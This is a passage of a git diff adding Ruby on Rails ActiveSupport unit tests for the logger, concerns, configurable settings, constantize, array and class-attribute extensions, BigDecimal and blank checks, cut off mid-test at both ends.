+ @out = StringIO.new
+ @logger = ActiveSupport::Logger.new(@out)
+ end
+
+ def test_format_message
+ @logger.error 'error'
+ assert_equal "error\n", @out.string
+ end
+
+ def test_datetime_format
+ @logger.formatter = Logger::Formatter.new
+ @logger.formatter.datetime_format = "%Y-%m-%d"
+ @logger.debug 'debug'
+ assert_equal "%Y-%m-%d", @logger.formatter.datetime_format
+ assert_match(/D, \[\d\d\d\d-\d\d-\d\d#\d+\] DEBUG -- : debug/, @out.string)
+ end
+
+ def test_nonstring_formatting
+ an_object = [1, 2, 3, 4, 5]
+ @logger.debug an_object
+ assert_equal("#{an_object.inspect}\n", @out.string)
+ end
+end
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
new file mode 100644
index 0000000..912ce30
--- /dev/null
+++ b/activesupport/test/concern_test.rb
@@ -0,0 +1,94 @@
+require 'abstract_unit'
+require 'active_support/concern'
+
+class ConcernTest < ActiveSupport::TestCase
+ module Baz
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ def baz
+ "baz"
+ end
+
+ def included_ran=(value)
+ @@included_ran = value
+ end
+
+ def included_ran
+ @@included_ran
+ end
+ end
+
+ included do
+ self.included_ran = true
+ end
+
+ def baz
+ "baz"
+ end
+ end
+
+ module Bar
+ extend ActiveSupport::Concern
+
+ include Baz
+
+ def bar
+ "bar"
+ end
+
+ def baz
+ "bar+" + super
+ end
+ end
+
+ module Foo
+ extend ActiveSupport::Concern
+
+ include Bar, Baz
+ end
+
+ def setup
+ @klass = Class.new
+ end
+
+ def test_module_is_included_normally
+ @klass.send(:include, Baz)
+ assert_equal "baz", @klass.new.baz
+ assert @klass.included_modules.include?(ConcernTest::Baz)
+
+ @klass.send(:include, Baz)
+ assert_equal "baz", @klass.new.baz
+ assert @klass.included_modules.include?(ConcernTest::Baz)
+ end
+
+ def test_class_methods_are_extended
+ @klass.send(:include, Baz)
+ assert_equal "baz", @klass.baz
+ assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; self.included_modules; end)[0]
+ end
+
+ def test_instance_methods_are_included
+ @klass.send(:include, Baz)
+ assert_equal "baz", @klass.new.baz
+ assert @klass.included_modules.include?(ConcernTest::Baz)
+ end
+
+ def test_included_block_is_ran
+ @klass.send(:include, Baz)
+ assert_equal true, @klass.included_ran
+ end
+
+ def test_modules_dependencies_are_met
+ @klass.send(:include, Bar)
+ assert_equal "bar", @klass.new.bar
+ assert_equal "bar+baz", @klass.new.baz
+ assert_equal "baz", @klass.baz
+ assert @klass.included_modules.include?(ConcernTest::Bar)
+ end
+
+ def test_dependencies_with_multiple_modules
+ @klass.send(:include, Foo)
+ assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
+ end
+end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
new file mode 100644
index 0000000..d00273a
--- /dev/null
+++ b/activesupport/test/configurable_test.rb
@@ -0,0 +1,109 @@
+require 'abstract_unit'
+require 'active_support/configurable'
+
+class ConfigurableActiveSupport < ActiveSupport::TestCase
+ class Parent
+ include ActiveSupport::Configurable
+ config_accessor :foo
+ config_accessor :bar, instance_reader: false, instance_writer: false
+ config_accessor :baz, instance_accessor: false
+ end
+
+ class Child < Parent
+ end
+
+ setup do
+ Parent.config.clear
+ Parent.config.foo = :bar
+
+ Child.config.clear
+ end
+
+ test "adds a configuration hash" do
+ assert_equal({ foo: :bar }, Parent.config)
+ end
+
+ test "adds a configuration hash to a module as well" do
+ mixin = Module.new { include ActiveSupport::Configurable }
+ mixin.config.foo = :bar
+ assert_equal({ foo: :bar }, mixin.config)
+ end
+
+ test "configuration hash is inheritable" do
+ assert_equal :bar, Child.config.foo
+ assert_equal :bar, Parent.config.foo
+
+ Child.config.foo = :baz
+ assert_equal :baz, Child.config.foo
+ assert_equal :bar, Parent.config.foo
+ end
+
+ test "configuration accessors are not available on instance" do
+ instance = Parent.new
+
+ assert !instance.respond_to?(:bar)
+ assert !instance.respond_to?(:bar=)
+
+ assert !instance.respond_to?(:baz)
+ assert !instance.respond_to?(:baz=)
+ end
+
+ test "configuration accessors can take a default value" do
+ parent = Class.new do
+ include ActiveSupport::Configurable
+ config_accessor :hair_colors, :tshirt_colors do
+ [:black, :blue, :white]
+ end
+ end
+
+ assert_equal [:black, :blue, :white], parent.hair_colors
+ assert_equal [:black, :blue, :white], parent.tshirt_colors
+ end
+
+ test "configuration hash is available on instance" do
+ instance = Parent.new
+ assert_equal :bar, instance.config.foo
+ assert_equal :bar, Parent.config.foo
+
+ instance.config.foo = :baz
+ assert_equal :baz, instance.config.foo
+ assert_equal :bar, Parent.config.foo
+ end
+
+ test "configuration is crystalizeable" do
+ parent = Class.new { include ActiveSupport::Configurable }
+ child = Class.new(parent)
+
+ parent.config.bar = :foo
+ assert_method_not_defined parent.config, :bar
+ assert_method_not_defined child.config, :bar
+ assert_method_not_defined child.new.config, :bar
+
+ parent.config.compile_methods!
+ assert_equal :foo, parent.config.bar
+ assert_equal :foo, child.new.config.bar
+
+ assert_method_defined parent.config, :bar
+ assert_method_defined child.config, :bar
+ assert_method_defined child.new.config, :bar
+ end
+
+ test "should raise name error if attribute name is invalid" do
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid attribute name"
+ end
+ end
+ end
+
+ def assert_method_defined(object, method)
+ methods = object.public_methods.map(&:to_s)
+ assert methods.include?(method.to_s), "Expected #{methods.inspect} to include #{method.to_s.inspect}"
+ end
+
+ def assert_method_not_defined(object, method)
+ methods = object.public_methods.map(&:to_s)
+ assert !methods.include?(method.to_s), "Expected #{methods.inspect} to not include #{method.to_s.inspect}"
+ end
+end
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
new file mode 100644
index 0000000..9b62295
--- /dev/null
+++ b/activesupport/test/constantize_test_cases.rb
@@ -0,0 +1,75 @@
+module Ace
+ module Base
+ class Case
+ class Dice
+ end
+ end
+ class Fase < Case
+ end
+ end
+ class Gas
+ include Base
+ end
+end
+
+class Object
+ module AddtlGlobalConstants
+ class Case
+ class Dice
+ end
+ end
+ end
+ include AddtlGlobalConstants
+end
+
+module ConstantizeTestCases
+ def run_constantize_tests_on
+ assert_equal Ace::Base::Case, yield("Ace::Base::Case")
+ assert_equal Ace::Base::Case, yield("::Ace::Base::Case")
+ assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice")
+ assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice")
+ assert_equal Ace::Gas::Case, yield("Ace::Gas::Case")
+ assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice")
+ assert_equal Case::Dice, yield("Case::Dice")
+ assert_equal Case::Dice, yield("Object::Case::Dice")
+ assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
+ assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
+ assert_equal Object, yield("")
+ assert_equal Object, yield("::")
+ assert_raises(NameError) { yield("UnknownClass") }
+ assert_raises(NameError) { yield("UnknownClass::Ace") }
+ assert_raises(NameError) { yield("UnknownClass::Ace::Base") }
+ assert_raises(NameError) { yield("An invalid string") }
+ assert_raises(NameError) { yield("InvalidClass\n") }
+ assert_raises(NameError) { yield("Ace::ConstantizeTestCases") }
+ assert_raises(NameError) { yield("Ace::Base::ConstantizeTestCases") }
+ assert_raises(NameError) { yield("Ace::Gas::Base") }
+ assert_raises(NameError) { yield("Ace::Gas::ConstantizeTestCases") }
+ end
+
+ def run_safe_constantize_tests_on
+ assert_equal Ace::Base::Case, yield("Ace::Base::Case")
+ assert_equal Ace::Base::Case, yield("::Ace::Base::Case")
+ assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice")
+ assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice")
+ assert_equal Ace::Gas::Case, yield("Ace::Gas::Case")
+ assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice")
+ assert_equal Case::Dice, yield("Case::Dice")
+ assert_equal Case::Dice, yield("Object::Case::Dice")
+ assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
+ assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
+ assert_equal Object, yield("")
+ assert_equal Object, yield("::")
+ assert_nil yield("UnknownClass")
+ assert_nil yield("UnknownClass::Ace")
+ assert_nil yield("UnknownClass::Ace::Base")
+ assert_nil yield("An invalid string")
+ assert_nil yield("InvalidClass\n")
+ assert_nil yield("blargle")
+ assert_nil yield("Ace::ConstantizeTestCases")
+ assert_nil yield("Ace::Base::ConstantizeTestCases")
+ assert_nil yield("Ace::Gas::Base")
+ assert_nil yield("Ace::Gas::ConstantizeTestCases")
+ assert_nil yield("#<Class:0x7b8b718b>::Nested_1")
+ end
+end
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
new file mode 100644
index 0000000..efa7582
--- /dev/null
+++ b/activesupport/test/core_ext/array_ext_test.rb
@@ -0,0 +1,471 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/big_decimal'
+require 'active_support/core_ext/object/conversions'
+
+require 'active_support/core_ext' # FIXME: pulling in all to_xml extensions
+require 'active_support/hash_with_indifferent_access'
+
+class ArrayExtAccessTests < ActiveSupport::TestCase
+ def test_from
+ assert_equal %w( a b c d ), %w( a b c d ).from(0)
+ assert_equal %w( c d ), %w( a b c d ).from(2)
+ assert_equal %w(), %w( a b c d ).from(10)
+ end
+
+ def test_to
+ assert_equal %w( a ), %w( a b c d ).to(0)
+ assert_equal %w( a b c ), %w( a b c d ).to(2)
+ assert_equal %w( a b c d ), %w( a b c d ).to(10)
+ end
+
+ def test_second_through_tenth
+ array = (1..42).to_a
+
+ assert_equal array[1], array.second
+ assert_equal array[2], array.third
+ assert_equal array[3], array.fourth
+ assert_equal array[4], array.fifth
+ assert_equal array[41], array.forty_two
+ end
+end
+
+class ArrayExtToParamTests < ActiveSupport::TestCase
+ class ToParam < String
+ def to_param
+ "#{self}1"
+ end
+ end
+
+ def test_string_array
+ assert_equal '', %w().to_param
+ assert_equal 'hello/world', %w(hello world).to_param
+ assert_equal 'hello/10', %w(hello 10).to_param
+ end
+
+ def test_number_array
+ assert_equal '10/20', [10, 20].to_param
+ end
+
+ def test_to_param_array
+ assert_equal 'custom1/param1', [ToParam.new('custom'), ToParam.new('param')].to_param
+ end
+end
+
+class ArrayExtToSentenceTests < ActiveSupport::TestCase
+ def test_plain_array_to_sentence
+ assert_equal "", [].to_sentence
+ assert_equal "one", ['one'].to_sentence
+ assert_equal "one and two", ['one', 'two'].to_sentence
+ assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence
+ end
+
+ def test_to_sentence_with_words_connector
+ assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' ')
+ assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' & ')
+ assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(:words_connector => nil)
+ end
+
+ def test_to_sentence_with_last_word_connector
+ assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ', and also ')
+ assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(:last_word_connector => nil)
+ assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' ')
+ assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' and ')
+ end
+
+ def test_two_elements
+ assert_equal "one and two", ['one', 'two'].to_sentence
+ assert_equal "one two", ['one', 'two'].to_sentence(:two_words_connector => ' ')
+ end
+
+ def test_one_element
+ assert_equal "one", ['one'].to_sentence
+ end
+
+ def test_one_element_not_same_object
+ elements = ["one"]
+ assert_not_equal elements[0].object_id, elements.to_sentence.object_id
+ end
+
+ def test_one_non_string_element
+ assert_equal '1', [1].to_sentence
+ end
+
+ def test_does_not_modify_given_hash
+ options = { words_connector: ' ' }
+ assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
+ assert_equal({ words_connector: ' ' }, options)
+ end
+end
+
+class ArrayExtToSTests < ActiveSupport::TestCase
+ def test_to_s_db
+ collection = [
+ Class.new { def id() 1 end }.new,
+ Class.new { def id() 2 end }.new,
+ Class.new { def id() 3 end }.new
+ ]
+
+ assert_equal "null", [].to_s(:db)
+ assert_equal "1,2,3", collection.to_s(:db)
+ end
+end
+
+class ArrayExtGroupingTests < ActiveSupport::TestCase
+ def setup
+ Fixnum.send :private, :/ # test we avoid Integer#/ (redefined by mathn)
+ end
+
+ def teardown
+ Fixnum.send :public, :/
+ end
+
+ def test_in_groups_of_with_perfect_fit
+ groups = []
+ ('a'..'i').to_a.in_groups_of(3) do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
+ assert_equal [%w(a b c), %w(d e f), %w(g h i)], ('a'..'i').to_a.in_groups_of(3)
+ end
+
+ def test_in_groups_of_with_padding
+ groups = []
+ ('a'..'g').to_a.in_groups_of(3) do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), ['g', nil, nil]], groups
+ end
+
+ def test_in_groups_of_pads_with_specified_values
+ groups = []
+
+ ('a'..'g').to_a.in_groups_of(3, 'foo') do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), ['g', 'foo', 'foo']], groups
+ end
+
+ def test_in_groups_of_without_padding
+ groups = []
+
+ ('a'..'g').to_a.in_groups_of(3, false) do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), ['g']], groups
+ end
+
+ def test_in_groups_returned_array_size
+ array = (1..7).to_a
+
+ 1.upto(array.size + 1) do |number|
+ assert_equal number, array.in_groups(number).size
+ end
+ end
+
+ def test_in_groups_with_empty_array
+ assert_equal [[], [], []], [].in_groups(3)
+ end
+
+ def test_in_groups_with_block
+ array = (1..9).to_a
+ groups = []
+
+ array.in_groups(3) do |group|
+ groups << group
+ end
+
+ assert_equal array.in_groups(3), groups
+ end
+
+ def test_in_groups_with_perfect_fit
+ assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
+ (1..9).to_a.in_groups(3)
+ end
+
+ def test_in_groups_with_padding
+ array = (1..7).to_a
+
+ assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
+ array.in_groups(3)
+ assert_equal [[1, 2, 3], [4, 5, 'foo'], [6, 7, 'foo']],
+ array.in_groups(3, 'foo')
+ end
+
+ def test_in_groups_without_padding
+ assert_equal [[1, 2, 3], [4, 5], [6, 7]],
+ (1..7).to_a.in_groups(3, false)
+ end
+end
+
+class ArraySplitTests < ActiveSupport::TestCase
+ def test_split_with_empty_array
+ assert_equal [[]], [].split(0)
+ end
+
+ def test_split_with_argument
+ assert_equal [[1, 2], [4, 5]], [1, 2, 3, 4, 5].split(3)
+ assert_equal [[1, 2, 3, 4, 5]], [1, 2, 3, 4, 5].split(0)
+ end
+
+ def test_split_with_block
+ assert_equal [[1, 2], [4, 5], [7, 8], [10]], (1..10).to_a.split { |i| i % 3 == 0 }
+ end
+
+ def test_split_with_edge_values
+ assert_equal [[], [2, 3, 4, 5]], [1, 2, 3, 4, 5].split(1)
+ assert_equal [[1, 2, 3, 4], []], [1, 2, 3, 4, 5].split(5)
+ assert_equal [[], [2, 3, 4], []], [1, 2, 3, 4, 5].split { |i| i == 1 || i == 5 }
+ end
+end
+
+class ArrayToXmlTests < ActiveSupport::TestCase
+ def test_to_xml
+ xml = [
+ { :name => "David", :age => 26, :age_in_millis => 820497600000 },
+ { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
+ ].to_xml(:skip_instruct => true, :indent => 0)
+
+ assert_equal '<objects type="array"><object>', xml.first(30)
+ assert xml.include?(%(<age type="integer">26</age>)), xml
+ assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>)), xml
+ assert xml.include?(%(<name>David</name>)), xml
+ assert xml.include?(%(<age type="integer">31</age>)), xml
+ assert xml.include?(%(<age-in-millis type="decimal">1.0</age-in-millis>)), xml
+ assert xml.include?(%(<name>Jason</name>)), xml
+ end
+
+ def test_to_xml_with_dedicated_name
+ xml = [
+ { :name => "David", :age => 26, :age_in_millis => 820497600000 }, { :name => "Jason", :age => 31 }
+ ].to_xml(:skip_instruct => true, :indent => 0, :root => "people")
+
+ assert_equal '<people type="array"><person>', xml.first(29)
+ end
+
+ def test_to_xml_with_options
+ xml = [
+ { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
+ ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0)
+
+ assert_equal "<objects><object>", xml.first(17)
+ assert xml.include?(%(<street-address>Paulina</street-address>))
+ assert xml.include?(%(<name>David</name>))
+ assert xml.include?(%(<street-address>Evergreen</street-address>))
+ assert xml.include?(%(<name>Jason</name>))
+ end
+
+ def test_to_xml_with_dasherize_false
+ xml = [
+ { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
+ ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => false)
+
+ assert_equal "<objects><object>", xml.first(17)
+ assert xml.include?(%(<street_address>Paulina</street_address>))
+ assert xml.include?(%(<street_address>Evergreen</street_address>))
+ end
+
+ def test_to_xml_with_dasherize_true
+ xml = [
+ { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
+ ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => true)
+
+ assert_equal "<objects><object>", xml.first(17)
+ assert xml.include?(%(<street-address>Paulina</street-address>))
+ assert xml.include?(%(<street-address>Evergreen</street-address>))
+ end
+
+ def test_to_with_instruct
+ xml = [
+ { :name => "David", :age => 26, :age_in_millis => 820497600000 },
+ { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
+ ].to_xml(:skip_instruct => false, :indent => 0)
+
+ assert_match(/^<\?xml [^>]*/, xml)
+ assert_equal 0, xml.rindex(/<\?xml /)
+ end
+
+ def test_to_xml_with_block
+ xml = [
+ { :name => "David", :age => 26, :age_in_millis => 820497600000 },
+ { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
+ ].to_xml(:skip_instruct => true, :indent => 0) do |builder|
+ builder.count 2
+ end
+
+ assert xml.include?(%(<count>2</count>)), xml
+ end
+
+ def test_to_xml_with_empty
+ xml = [].to_xml
+ assert_match(/type="array"\/>/, xml)
+ end
+
+ def test_to_xml_dups_options
+ options = {:skip_instruct => true}
+ [].to_xml(options)
+ # :builder, etc, shouldn't be added to options
+ assert_equal({:skip_instruct => true}, options)
+ end
+end
+
+class ArrayExtractOptionsTests < ActiveSupport::TestCase
+ class HashSubclass < Hash
+ end
+
+ class ExtractableHashSubclass < Hash
+ def extractable_options?
+ true
+ end
+ end
+
+ def test_extract_options
+ assert_equal({}, [].extract_options!)
+ assert_equal({}, [1].extract_options!)
+ assert_equal({:a=>:b}, [{:a=>:b}].extract_options!)
+ assert_equal({:a=>:b}, [1, {:a=>:b}].extract_options!)
+ end
+
+ def test_extract_options_doesnt_extract_hash_subclasses
+ hash = HashSubclass.new
+ hash[:foo] = 1
+ array = [hash]
+ options = array.extract_options!
+ assert_equal({}, options)
+ assert_equal [hash], array
+ end
+
+ def test_extract_options_extracts_extractable_subclass
+ hash = ExtractableHashSubclass.new
+ hash[:foo] = 1
+ array = [hash]
+ options = array.extract_options!
+ assert_equal({:foo => 1}, options)
+ assert_equal [], array
+ end
+
+ def test_extract_options_extracts_hwia
+ hash = [{:foo => 1}.with_indifferent_access]
+ options = hash.extract_options!
+ assert_equal 1, options[:foo]
+ end
+end
+
+class ArrayUniqByTests < ActiveSupport::TestCase
+ def test_uniq_by
+ ActiveSupport::Deprecation.silence do
+ assert_equal [1,2], [1,2,3,4].uniq_by { |i| i.odd? }
+ assert_equal [1,2], [1,2,3,4].uniq_by(&:even?)
+ assert_equal((-5..0).to_a, (-5..5).to_a.uniq_by{ |i| i**2 })
+ end
+ end
+
+ def test_uniq_by!
+ a = [1,2,3,4]
+ ActiveSupport::Deprecation.silence do
+ a.uniq_by! { |i| i.odd? }
+ end
+ assert_equal [1,2], a
+
+ a = [1,2,3,4]
+ ActiveSupport::Deprecation.silence do
+ a.uniq_by! { |i| i.even? }
+ end
+ assert_equal [1,2], a
+
+ a = (-5..5).to_a
+ ActiveSupport::Deprecation.silence do
+ a.uniq_by! { |i| i**2 }
+ end
+ assert_equal((-5..0).to_a, a)
+ end
+end
+
+class ArrayWrapperTests < ActiveSupport::TestCase
+ class FakeCollection
+ def to_ary
+ ["foo", "bar"]
+ end
+ end
+
+ class Proxy
+ def initialize(target) @target = target end
+ def method_missing(*a) @target.send(*a) end
+ end
+
+ class DoubtfulToAry
+ def to_ary
+ :not_an_array
+ end
+ end
+
+ class NilToAry
+ def to_ary
+ nil
+ end
+ end
+
+ def test_array
+ ary = %w(foo bar)
+ assert_same ary, Array.wrap(ary)
+ end
+
+ def test_nil
+ assert_equal [], Array.wrap(nil)
+ end
+
+ def test_object
+ o = Object.new
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_string
+ assert_equal ["foo"], Array.wrap("foo")
+ end
+
+ def test_string_with_newline
+ assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
+ end
+
+ def test_object_with_to_ary
+ assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
+ end
+
+ def test_proxy_object
+ p = Proxy.new(Object.new)
+ assert_equal [p], Array.wrap(p)
+ end
+
+ def test_proxy_to_object_with_to_ary
+ p = Proxy.new(FakeCollection.new)
+ assert_equal [p], Array.wrap(p)
+ end
+
+ def test_struct
+ o = Struct.new(:foo).new(123)
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_wrap_returns_wrapped_if_to_ary_returns_nil
+ o = NilToAry.new
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array
+ assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
+ end
+end
+
+class ArrayPrependAppendTest < ActiveSupport::TestCase
+ def test_append
+ assert_equal [1, 2], [1].append(2)
+ end
+
+ def test_prepend
+ assert_equal [2, 1], [1].prepend(2)
+ end
+end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
new file mode 100644
index 0000000..a598704
--- /dev/null
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+require 'bigdecimal'
+require 'active_support/core_ext/big_decimal'
+
+class BigDecimalTest < ActiveSupport::TestCase
+ def test_to_yaml
+ assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
+ assert_match("--- .Inf\n", BigDecimal.new('Infinity').to_yaml)
+ assert_match("--- .NaN\n", BigDecimal.new('NaN').to_yaml)
+ assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
+ end
+
+ def test_to_d
+ bd = BigDecimal.new '10'
+ assert_equal bd, bd.to_d
+ end
+
+ def test_to_s
+ bd = BigDecimal.new '0.01'
+ assert_equal '0.01', bd.to_s
+ end
+end
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb
new file mode 100644
index 0000000..a68c074
--- /dev/null
+++ b/activesupport/test/core_ext/blank_test.rb
@@ -0,0 +1,24 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+require 'active_support/core_ext/object/blank'
+
+class BlankTest < ActiveSupport::TestCase
+ BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', [], {} ]
+ NOT = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
+
+ def test_blank
+ BLANK.each { |v| assert v.blank?, "#{v.inspect} should be blank" }
+ NOT.each { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
+ end
+
+ def test_present
+ BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
+ NOT.each { |v| assert v.present?, "#{v.inspect} should be present" }
+ end
+
+ def test_presence
+ BLANK.each { |v| assert_equal nil, v.presence, "#{v.inspect}.presence should return nil" }
+ NOT.each { |v| assert_equal v, v.presence, "#{v.inspect}.presence should return self" }
+ end
+end
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
new file mode 100644
index 0000000..0d5f39a
--- /dev/null
+++ b/activesupport/test/core_ext/class/attribute_accessor_test.rb
@@ -0,0 +1,61 @@
+require 'abstract_unit'
+require 'active_support/core_ext/class/attribute_accessors'
+
+class ClassAttributeAccessorTest < ActiveSupport::TestCase
+ def setup
+ @class = Class.new do
+ cattr_accessor :foo
+ cattr_accessor :bar, :instance_writer => false
+ cattr_reader :shaq, :instance_reader => false
+ cattr_accessor :camp, :instance_accessor => false
+ end
+ @object = @class.new
+ end
+
+ def test_should_use_mattr_default
+ assert_nil @class.foo
+ assert_nil @object.foo
+ end
+
+ def test_should_set_mattr_value
+ @class.foo = :test
+ assert_equal :test, @object.foo
+
+ @object.foo = :test2
+ assert_equal :test2, @class.foo
+ end
+
+ def test_should_not_create_instance_writer
+ assert_respond_to @class, :foo
+ assert_respond_to @class, :foo=
+ assert_respond_to @object, :bar
+ assert !@object.respond_to?(:bar=)
+ end
+
+ def test_should_not_create_instance_reader
+ assert_respond_to @class, :shaq
+ assert !@object.respond_to?(:shaq)
+ end
+
+ def test_should_not_create_instance_accessors
+ assert_respond_to @class, :camp
+ assert !@object.respond_to?(:camp)
+ assert !@object.respond_to?(:camp=)
+ end
+
+ def test_should_raise_name_error_if_attribute_name_is_invalid
+ exception = assert_raises NameError do
+ Class.new do
+ cattr_reader "1nvalid"
+ end
+ end
+ assert_equal "invalid class attribute name: 1nvalid", exception.message
+
+ exception = assert_raises NameError do
+ Class.new do
+ cattr_writer "1nvalid"
+ end
+ end
+ assert_equal "invalid class attribute name: 1nvalid", exception.message
+ end
+end
diff --git a/activesupport/test/core_ext/class/attribute_test.rb b/activesupport/test/core_ext/class/attribute_test.rb
new file mode 100644
index 0000000..e7a1334
--- /dev/null
+++ b/activesupport/test/core_ext/class/attribute_test.rb
@@ -0,0 +1,91 @@
+require 'abstract_unit'
+require 'active_support/core_ext/class/attribute'
+
+class ClassAttributeTest < ActiveSupport::TestCase
+ def setup
+ @klass = Class.new { class_attribute :setting }
+ @sub = Class.new(@klass)
+ end
+
+ test 'defaults to nil' do
+ assert_nil @klass.setting
+ assert_nil @sub.setting
+ end
+
+ test 'inheritable' do
+ @klass.setting = 1
+ assert_equal 1, @sub.setting
+ end
+
+ test 'overridable' do
+ @sub.setting = 1
+ assert_nil @klass.setting
+
+ @klass.setting = 2
+ assert_equal 1, @sub.setting
+
+ assert_equal 1, Class.new(@sub).setting
+ end
+
+ test 'predicate method' do
+ assert_equal false, @klass.setting?
+ @klass.setting = 1
+ assert_equal true, @klass.setting?
+ end
+
+ test 'instance reader delegates to class' do
+ assert_nil @klass.new.setting
+
+ @klass.setting = 1
+ assert_equal 1, @klass.new.setting
+ end
+
+ test 'instance override' do
+ object = @klass.new
+ object.setting = 1
+ assert_nil @klass.setting
+ @klass.setting = 2
+ assert_equal 1, object.setting
+ end
+
+ test 'instance predicate' do
+ object = @klass.new
+ assert_equal false, object.setting?
+ object.setting = 1
+ assert_equal true, object.setting?
+ end
+
+ test 'disabling instance writer' do
+ object = Class.new { class_attribute :setting, :instance_writer => false }.new
+ assert_raise(NoMethodError) { object.setting = 'boom' }
+ end
+
+ test 'disabling instance reader' do
+ object = Class.new { class_attribute :setting, :instance_reader => false }.new
+ assert_raise(NoMethodError) { object.setting }
+ assert_raise(NoMethodError) { object.setting? }
+ end
+
+ test 'disabling both instance writer and reader' do
+ object = Class.new { class_attribute :setting, :instance_accessor => false }.new
+ assert_raise(NoMethodError) { object.setting }
+ assert_raise(NoMethodError) { object.setting? }
+ assert_raise(NoMethodError) { object.setting = 'boom' }
+ end
+
+ test 'disabling instance predicate' do
+ object = Class.new { class_attribute :setting, instance_predicate: false }.new
+ assert_raise(NoMethodError) { object.setting? }
+ end
+
+ test 'works well with singleton classes' do
+ object = @klass.new
+ object.singleton_class.setting = 'foo'
+ assert_equal 'foo', object.setting
+ end
+
+ test 'setter returns set value' do
+ val = @klass.send(:setting=, 1)
+ assert_equal 1, val
+ end
+end
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
new file mode 100644
index 0000000..148f829
--- /dev/null
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -0,0 +1,97 @@
+require 'abstract_unit'
+require 'active_support/core_ext/class/delegating_attributes'
+
+module DelegatingFixtures
+ class Parent
+ end
+
+ class Child < Parent
+ superclass_delegating_accessor :some_attribute
+ end
+
+ class Mokopuna < Child
+ end
+
+ class PercysMom
+ superclass_delegating_accessor :superpower
+ end
+
+ class Percy < PercysMom
+ end
+end
+
+class DelegatingAttributesTest < ActiveSupport::TestCase
+ include DelegatingFixtures
+ attr_reader :single_class
+
+ def setup
+ @single_class = Class.new(Object)
+ end
+
+ def test_simple_accessor_declaration
+ single_class.superclass_delegating_accessor :both
+ # Class should have accessor and mutator
+ # the instance should have an accessor only
+ assert_respond_to single_class, :both
+ assert_respond_to single_class, :both=
+ assert single_class.public_instance_methods.map(&:to_s).include?("both")
+ assert !single_class.public_instance_methods.map(&:to_s).include?("both=")
+ end
+
+ def test_simple_accessor_declaration_with_instance_reader_false
+ single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
